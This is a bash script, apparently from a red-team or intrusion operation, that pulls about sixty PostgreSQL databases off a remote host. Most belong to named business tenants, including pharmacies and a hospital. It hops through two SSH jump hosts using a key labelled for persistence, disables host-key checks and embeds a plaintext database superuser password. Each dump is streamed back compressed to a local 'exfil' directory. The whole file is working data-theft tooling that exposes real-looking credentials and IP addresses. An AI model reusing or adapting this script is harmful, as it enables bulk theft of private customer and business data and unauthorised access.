#!/bin/bash
# Dump Host B local PG :5432 via kedebah superuser -> stream gz to lab
# Priority: bdr (2nd BDR copy!), high-value tenants, client DBs
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_pg
mkdir -p "$OUTDIR"

# DB list by priority (exclude replicas/tests/templates)
DBS="
bdr
tenant_topup_pharmacy
tenant_topup_pharmacy_old
nymzie_pa
tenant_npontu_technologies_ltd
tenant_block_factory
nymzie_pa_2025_10_16
nymzie_pa_was_live
tenant_topup_pharmacy_test_3
tenant_express_care_pharmacy
blackstar_db_live
tenant_topup_pharmacy_test
tenant_topup_pharmacy_test_2
tenant_npontu_tech_limited2_test
tenant_obaatanpa_nyame_nti_supermarke
tenant_jenark0_pharmacy
tenant_npontu_test
tenant_derby_business
tenant_btl_premier_solutions_beyond_t
tenant_germatek_company_limited_gladys_sarfo
tenant_medicine
tenant_benchmark_marketing_astronaut
tenant_kh_produkts
tenant_pakomall
tenant_sekoe_cocoa_enterprise_ltd
tenant_cindy_yak_enterprise
tenant_sinel_specialist_hospital
tenant_key_security_solutions
tenant_kh_group
tenant_btl_premier_solutions_beyond_t_test
tenant_sheila_adusah_chemicals
tenant_archxenus
tenant_btl_marketing_africa_limited
tenant_the_babynest
tenant_anglogold_ashanti_iduaprim
tenant_gs1_ghana
tenant_fara
tenant_chocolate_mansa_gold
tenant_utopia_innova
tenant_lusso_furniture_and_finishes
tenant_the_sanctuary_montessori
cihrm_website
kedebahv2
kedebahv2_fara
mydenss
eliberiadb
ghanafunds
bisa_connect
fx_cash_control
opendx
impact
itc_debit
bog_dashboard
ghib
agibusiness_box
cihrm_web
agibusiness_in_box
tenant_derby_finance_corporation
tenant_derby_finance_corporation1
tenant_derby_finance_corporation2
"

echo "=== HOST B PG DUMP START $(date) ==="
TOTAL=0
OK=0
FAIL=0
for db in $DBS; do
  out="$OUTDIR/${db}.sql.gz"
  if [ -s "$out" ]; then
    echo "[SKIP] $db already exists"
    continue
  fi
  sz=$(ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"PGPASSWORD=N3wkedba# pg_dump -h 127.0.0.1 -p 5432 -U kedebah -d '$db' --no-owner --no-privileges 2>/dev/null | gzip -1\"" \
    > "$out" 2>>"$OUTDIR/errors.log")
  rc=$?
  if [ $rc -eq 0 ] && [ -s "$out" ]; then
    sz=$(du -sh "$out" | cut -f1)
    echo "[OK] $db -> $sz"
    OK=$((OK+1))
  else
    echo "[FAIL] $db rc=$rc"
    rm -f "$out"
    FAIL=$((FAIL+1))
  fi
  TOTAL=$((TOTAL+1))
done
echo "=== DONE: $OK OK / $FAIL FAIL / $TOTAL total ==="
ls -la "$OUTDIR"/*.sql.gz 2>/dev/null | head -20
echo "=== MANIFEST ==="
sha256sum "$OUTDIR"/*.sql.gz > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest written"
